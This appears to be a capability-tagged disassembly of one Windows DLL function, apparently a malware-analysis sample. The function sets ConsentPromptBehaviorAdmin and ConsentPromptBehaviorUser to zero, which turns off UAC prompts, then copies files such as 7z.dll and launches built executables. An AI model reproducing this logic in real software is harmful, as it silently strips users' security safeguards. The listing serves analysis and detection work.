Function at 0x10001050
Capabilities:
Copy file
Create process on windows
Get common file path
Get program files directory
Query or enumerate registry value
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x7d88
call fcn.10013360
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x7d84], eax
push esi
push edi
push pe_nt_image_headers32
xor esi, esi
lea eax, [esp + 0x6c]
xorps xmm0, xmm0
push esi
push eax
movaps xmmword [esp + 0x5c], xmm0
call fcn.10002ed0
add esp, 0xc
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
mov edi, dword [sym.imp.ole32.dll_CoCreateGuid]
nop word [eax + eax]
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x100010bd
inc esi
mov eax, 1
mov word [esp + 0x68], ax
cmp esi, 3
jl 0x100010a0
jmp 0x10001114
movzx eax, byte [esp + 0x5f]
push eax
movzx eax, byte [esp + 0x62]
push eax
movzx eax, byte [esp + 0x65]
push eax
movzx eax, byte [esp + 0x68]
push eax
movzx eax, byte [esp + 0x6b]
push eax
movzx eax, byte [esp + 0x6e]
push eax
movzx eax, byte [esp + 0x71]
push eax
movzx eax, byte [esp + 0x74]
push eax
movzx eax, word [esp + 0x76]
push eax
movzx eax, word [esp + 0x78]
push eax
push dword [esp + 0x78]
lea eax, [esp + 0x94]
push str._08X_04X_04X_02X_02X_02X_02X_02X_02X_02X_02X
push 0x7f
push eax
call fcn.10001010
add esp, 0x38
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea eax, [esp + 0xc]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
mov dword [esp + 0x58], 0
call edi
test eax, eax
jne 0x10001157
push 4
lea eax, [esp + 0x50]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [esp + 0xc]
mov dword [esp + 0x4c], 0
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call edi
test eax, eax
jne 0x1000119a
push 4
lea eax, [esp + 0x50]
push eax
push 4
push 0
push str.ConsentPromptBehaviorUser
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call esi
lea eax, [esp + 0xc]
mov dword [esp + 0x4c], 1
push eax
push str.SOFTWARE
push 0x80000001
call edi
test eax, eax
jne 0x100011d7
push 4
lea eax, [esp + 0x50]
push eax
push 4
push 0
push str.ConsentPromptBehaviorUser
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call esi
push 0x800
lea eax, [esp + 0x5d8c]
push 0
push eax
call fcn.10002ed0
add esp, 0xc
mov dword [esp + 0xc], 0
lea eax, [esp + 0x1b80]
push 0x208
push 0
push eax
call fcn.10002ed0
add esp, 0xc
mov dword [esp + 0x4c], 0x104
lea eax, [esp + 0xc]
mov dword [esp + 0x64], 1
push eax
push str.SYSTEMCurrentControlSetControlLGDConsentPrompEx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x1b84]
push eax
lea eax, [esp + 0x6c]
push eax
push 0
push str.CLSD_UUIDC_NewYueiot
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [esp + 0xc]
call esi
lea eax, [esp + 0x1b80]
push eax
lea eax, [esp + 0x5d8c]
push 0x1001989c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x5d88]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x100012d4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetControlLGDConsentPrompEx
push 0x80000002
call edi
test eax, eax
jne 0x100012cc
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [esp + 0x6c]
push eax
push 1
push 0
push str.CLSD_UUIDC_NewYueiot
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call esi
jmp 0x100012ee
lea eax, [esp + 0x5d88]
push eax
lea eax, [esp + 0x6c]
push 0x80
push eax
call fcn.10007173
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetControlLGDConsentPromp
push 0x80000002
call edi
test eax, eax
jne 0x10001329
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [esp + 0x6c]
push eax
push 1
push 0
push str.CLSD_UUIDC_ProductName
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call esi
movups xmm0, xmmword [str.CSIDL_CDBURN_AREA]
mov eax, dword [0x10019b44]
push 0x7dc
movups xmmword [esp + 0x558c], xmm0
mov dword [esp + 0x55ac], eax
lea eax, [esp + 0x55b0]
movups xmm0, xmmword [0x10019b34]
push 0
push eax
movups xmmword [esp + 0x55a4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_COMMON_ADMINTOOLS]
add esp, 0xc
lea eax, [esp + 0x35b8]
movups xmmword [esp + 0x3588], xmm0
movups xmm0, xmmword [0x10019b58]
push 0x7d0
push 0
movups xmmword [esp + 0x35a0], xmm0
push eax
movups xmm0, xmmword [0x10019b68]
movups xmmword [esp + 0x35b4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_COMMON_APPDATA]
movzx eax, word [0x10019ba0]
add esp, 0xc
mov word [esp + 0x3db0], ax
lea eax, [esp + 0x3db2]
movups xmmword [esp + 0x3d88], xmm0
movups xmm0, xmmword [0x10019b88]
push 0x7d6
push 0
movups xmmword [esp + 0x3da0], xmm0
push eax
movq xmm0, qword [0x10019b98]
movq qword [esp + 0x3db4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_COMMON_DESKTOPDIRECTORY]
mov eax, dword [0x10019bdc]
add esp, 0xc
mov dword [esp + 0x25c0], eax
lea eax, [esp + 0x25c4]
movups xmmword [esp + 0x2588], xmm0
movups xmm0, xmmword [0x10019bb4]
push 0x7c4
push 0
movups xmmword [esp + 0x25a0], xmm0
push eax
movups xmm0, xmmword [0x10019bc4]
movups xmmword [esp + 0x25b4], xmm0
movq xmm0, qword [0x10019bd4]
movq qword [esp + 0x25c4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_COMMON_DOCUMENTS]
mov eax, dword [0x10019c08]
add esp, 0xc
mov dword [esp + 0x2db0], eax
movzx eax, word [0x10019c0c]
movups xmmword [esp + 0x2d88], xmm0
push 0x7d2
movups xmm0, xmmword [0x10019bf0]
mov word [esp + 0x2db8], ax
lea eax, [esp + 0x2dba]
push 0
movups xmmword [esp + 0x2da0], xmm0
push eax
movq xmm0, qword [0x10019c00]
movq qword [esp + 0x2db4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_COMMON_FAVORITES]
mov eax, dword [0x10019c38]
add esp, 0xc
mov dword [esp + 0x1db0], eax
movzx eax, word [0x10019c3c]
movups xmmword [esp + 0x1d88], xmm0
movups xmm0, xmmword [0x10019c20]
movups xmmword [esp + 0x1d98], xmm0
movq xmm0, qword [0x10019c30]
movq qword [esp + 0x1da8], xmm0
push 0x7d2
mov word [esp + 0x1db8], ax
lea eax, [esp + 0x1dba]
push 0
push eax
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_COMMON_MUSIC]
mov eax, dword [0x10019c60]
add esp, 0xc
mov dword [esp + 0x45a8], eax
movzx eax, word [0x10019c64]
movups xmmword [esp + 0x4588], xmm0
push 0x7da
movups xmm0, xmmword [0x10019c50]
mov word [esp + 0x45b0], ax
lea eax, [esp + 0x45b2]
push 0
push eax
movups xmmword [esp + 0x45a4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_COMMON_PICTURES]
mov eax, dword [0x10019c90]
add esp, 0xc
mov dword [esp + 0x4db0], eax
lea eax, [esp + 0x4db4]
movups xmmword [esp + 0x4d88], xmm0
movups xmm0, xmmword [0x10019c78]
push 0x7d4
push 0
movups xmmword [esp + 0x4da0], xmm0
push eax
movq xmm0, qword [0x10019c88]
movq qword [esp + 0x4db4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.KBTGENAINGiT]
mov eax, dword [0x10019cc4]
add esp, 0xc
mov dword [esp + 0x13e0], eax
movzx eax, word [0x10019cc8]
movups xmmword [esp + 0x13b0], xmm0
push 0x79a
movups xmm0, xmmword [0x10019ca4]
mov word [esp + 0x13e8], ax
lea eax, [esp + 0x13ea]
push 0
movups xmmword [esp + 0x13c8], xmm0
push eax
movups xmm0, xmmword [0x10019cb4]
movups xmmword [esp + 0x13dc], xmm0
call fcn.10002ed0
add esp, 0xc
lea eax, [esp + 0x13b0]
push eax
call fcn.1000713b
movups xmm0, xmmword [str.CSIDL_APPDATA]
mov esi, dword [0x10019ce4]
lea eax, [esp + 0x390]
add esp, 4
mov dword [esp + 0x388], esi
movups xmmword [esp + 0x370], xmm0
movq xmm0, qword [0x10019cdc]
push 0x1ec
push 0
push eax
movq qword [esp + 0x38c], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_APPDATA]
add esp, 0xc
mov dword [esp + 0xfb8], esi
lea eax, [esp + 0xfbc]
movups xmmword [esp + 0xfa0], xmm0
movq xmm0, qword [0x10019cdc]
push 0x1ec
push 0
push eax
movq qword [esp + 0xfbc], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_PROGRAM_FILES]
add esp, 0xc
movups xmmword [esp + 0x578], xmm0
movups xmm0, xmmword [0x10019cf8]
push 0x1e0
movups xmmword [esp + 0x58c], xmm0
lea eax, [esp + 0x5a4]
movq xmm0, qword [0x10019d08]
push 0
push eax
movq qword [esp + 0x5a4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
mov esi, dword [0x10019d40]
lea eax, [esp + 0x9c8]
add esp, 0xc
mov dword [esp + 0x9b8], esi
movups xmmword [esp + 0x988], xmm0
movups xmm0, xmmword [0x10019d20]
push 0x1d4
push 0
movups xmmword [esp + 0x9a0], xmm0
push eax
movups xmm0, xmmword [0x10019d30]
movups xmmword [esp + 0x9b4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
add esp, 0xc
mov dword [esp + 0x198], esi
lea eax, [esp + 0x19c]
movups xmmword [esp + 0x168], xmm0
movups xmm0, xmmword [0x10019d20]
push 0x1d4
push 0
movups xmmword [esp + 0x180], xmm0
push eax
movups xmm0, xmmword [0x10019d30]
movups xmmword [esp + 0x194], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_PROGRAM_FILES]
add esp, 0xc
lea eax, [esp + 0xbb8]
movups xmmword [esp + 0xb90], xmm0
movups xmm0, xmmword [0x10019cf8]
push 0x1e0
push 0
movups xmmword [esp + 0xba8], xmm0
push eax
movq xmm0, qword [0x10019d08]
movq qword [esp + 0xbbc], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.CSIDL_PROGRAM_FILES]
add esp, 0xc
lea eax, [esp + 0x11d0]
movups xmmword [esp + 0x11a8], xmm0
movups xmm0, xmmword [0x10019cf8]
push 0x1e0
push 0
movups xmmword [esp + 0x11c0], xmm0
push eax
movq xmm0, qword [0x10019d08]
movq qword [esp + 0x11d4], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
add esp, 0xc
mov dword [esp + 0x7b0], esi
lea eax, [esp + 0x7b4]
movups xmmword [esp + 0x780], xmm0
movups xmm0, xmmword [0x10019d20]
push 0x1d4
push 0
movups xmmword [esp + 0x798], xmm0
push eax
movups xmm0, xmmword [0x10019d30]
movups xmmword [esp + 0x7ac], xmm0
call fcn.10002ed0
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
add esp, 0xc
mov dword [esp + 0xdc8], esi
movups xmmword [esp + 0xd98], xmm0
movups xmm0, xmmword [0x10019d20]
push 0x1d4
movups xmmword [esp + 0xdac], xmm0
movups xmm0, xmmword [0x10019d30]
movups xmmword [esp + 0xdbc], xmm0
lea eax, [esp + 0xdd0]
push 0
push eax
call fcn.10002ed0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [esp + 0x37c]
add esp, 0xc
push str.CSIDL_APPDATA
push eax
call esi
test eax, eax
je 0x100018ef
push str.CSIDL_PROGRAM_FILES
lea eax, [esp + 0x57c]
push eax
call esi
test eax, eax
jne 0x10001919
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [esp + 0x370]
push eax
push 0
push 0
push 0x1a
push 0
call esi
lea eax, [esp + 0x578]
push eax
push 0
push 0
push 0x26
push 0
call esi
lea eax, [esp + 0x370]
push eax
lea eax, [esp + 0xfa4]
push 0x104
push eax
call fcn.10007173
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x37c]
add esp, 0xc
push 0x10019d44
push eax
call edi
push 0x10019d44
lea eax, [esp + 0x57c]
push eax
call edi
lea eax, [esp + 0x578]
push eax
lea eax, [esp + 0xb94]
push 0x104
push eax
call fcn.10007173
add esp, 0xc
lea eax, [esp + 0x578]
push eax
lea eax, [esp + 0x11ac]
push 0x104
push eax
call fcn.10007173
add esp, 0xc
lea eax, [esp + 0x13b0]
push eax
lea eax, [esp + 0x16c]
push eax
call edi
push 0x10019d48
lea eax, [esp + 0x16c]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x5590]
push eax
push str.NULL
push 0x10019d70
push 0x10019d78
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x3590]
push eax
push str.NULL
push 0x10019d80
push 0x10019d78
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x3d90]
push eax
push str.NULL
push 0x10019d88
push 0x10019d78
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x2590]
push eax
push str.NULL
push 0x10019d90
push 0x10019d78
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x2d90]
push eax
push str.NULL
push 0x10019d98
push 0x10019d78
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x1d90]
push eax
push str.NULL
push 0x10019da0
push 0x10019d78
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x4590]
push eax
push str.NULL
push 0x10019da8
push 0x10019d78
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x4d90]
push eax
push str.NULL
push 0x10019db0
push 0x10019d78
call esi
lea eax, [esp + 0x13b0]
push eax
lea eax, [esp + 0x784]
push eax
call edi
push 0x10019d44
lea eax, [esp + 0x784]
push eax
call edi
lea eax, [esp + 0x3588]
push eax
lea eax, [esp + 0x784]
push eax
call edi
push str..exe
lea eax, [esp + 0x784]
push eax
call edi
lea eax, [esp + 0x13b0]
push eax
lea eax, [esp + 0xd9c]
push eax
call edi
push 0x10019dc4
lea eax, [esp + 0xd9c]
push eax
call edi
lea eax, [esp + 0x3588]
push eax
lea eax, [esp + 0xb94]
push eax
call edi
push str..exe
lea eax, [esp + 0xb94]
push eax
call edi
push str.7z.dll
lea eax, [esp + 0x11ac]
push eax
call edi
push 0x800
lea eax, [esp + 0x658c]
push 0
push eax
call fcn.10002ed0
add esp, 0xc
lea eax, [esp + 0x1d88]
push str.__aos__y
push eax
push 0x10019df8
push 0x10019e00
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x78]
push eax
lea eax, [esp + 0x384]
push eax
push 0x10019e00
push 0x10019e04
push 0x10019e00
lea eax, [esp + 0x3dac]
push eax
push 0x10019d44
lea eax, [esp + 0x13dc]
push eax
lea eax, [esp + 0x9b8]
push eax
push 0x10019e00
push 0x10019e0c
lea eax, [esp + 0x65c4]
push 0x10019e14
push eax
call esi
add esp, 0x44
lea eax, [esp + 0x6d88]
push 0x800
push 0
push eax
call fcn.10002ed0
add esp, 0xc
lea eax, [esp + 0x4588]
push str.__aos__y
push eax
push 0x10019df8
push 0x10019e00
lea eax, [esp + 0x13c0]
push eax
lea eax, [esp + 0x99c]
push eax
push 0x10019e00
push 0x10019e04
push 0x10019e00
lea eax, [esp + 0x25ac]
push eax
push 0x10019d44
lea eax, [esp + 0x13dc]
push eax
lea eax, [esp + 0x9b8]
push eax
push 0x10019e00
push 0x10019e0c
lea eax, [esp + 0x6dc4]
push 0x10019e14
push eax
call esi
add esp, 0x44
lea eax, [esp + 0x7588]
push 0x800
push 0
push eax
call fcn.10002ed0
add esp, 0xc
lea eax, [esp + 0x4d88]
push str.__aos__y
push eax
push 0x10019df8
push 0x10019e00
lea eax, [esp + 0xfb0]
push eax
push 0x10019e00
push 0x10019e04
push 0x10019e00
lea eax, [esp + 0x2da8]
push eax
push 0x10019d44
lea eax, [esp + 0x13d8]
push eax
lea eax, [esp + 0x9b4]
push eax
push 0x10019e00
push 0x10019e0c
push str._s_s_s_s_s_s_s_s_s_s_s_s_s_s
lea eax, [esp + 0x75c4]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0xbd0]
add esp, 0x40
push 0
push eax
lea eax, [esp + 0x788]
push eax
call esi
test eax, eax
je 0x10001e0d
push 0
lea eax, [esp + 0x11ac]
push eax
lea eax, [esp + 0xda0]
push eax
call esi
test eax, eax
je 0x10001e0d
lea eax, [esp + 0xb90]
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0x20], eax
xorps xmm0, xmm0
lea eax, [esp + 0x6588]
movlpd qword [esp + 0x34], xmm0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
push eax
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
mov dword [esp + 0x18], 0x40
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], str.Open
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10001dbd
push 0xffffffffffffffff
push dword [esp + 0x4c]
call esi
push dword [esp + 0x48]
call edi
lea eax, [esp + 0x6d88]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10001de5
push 0xffffffffffffffff
push dword [esp + 0x4c]
call esi
push dword [esp + 0x48]
call edi
lea eax, [esp + 0x7588]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10001e0d
push 0xffffffffffffffff
push dword [esp + 0x4c]
call esi
push dword [esp + 0x48]
call edi
mov ecx, dword [esp + 0x7d8c]
pop edi
pop esi
xor ecx, esp
call fcn.10001e38
mov esp, ebp
pop ebp
ret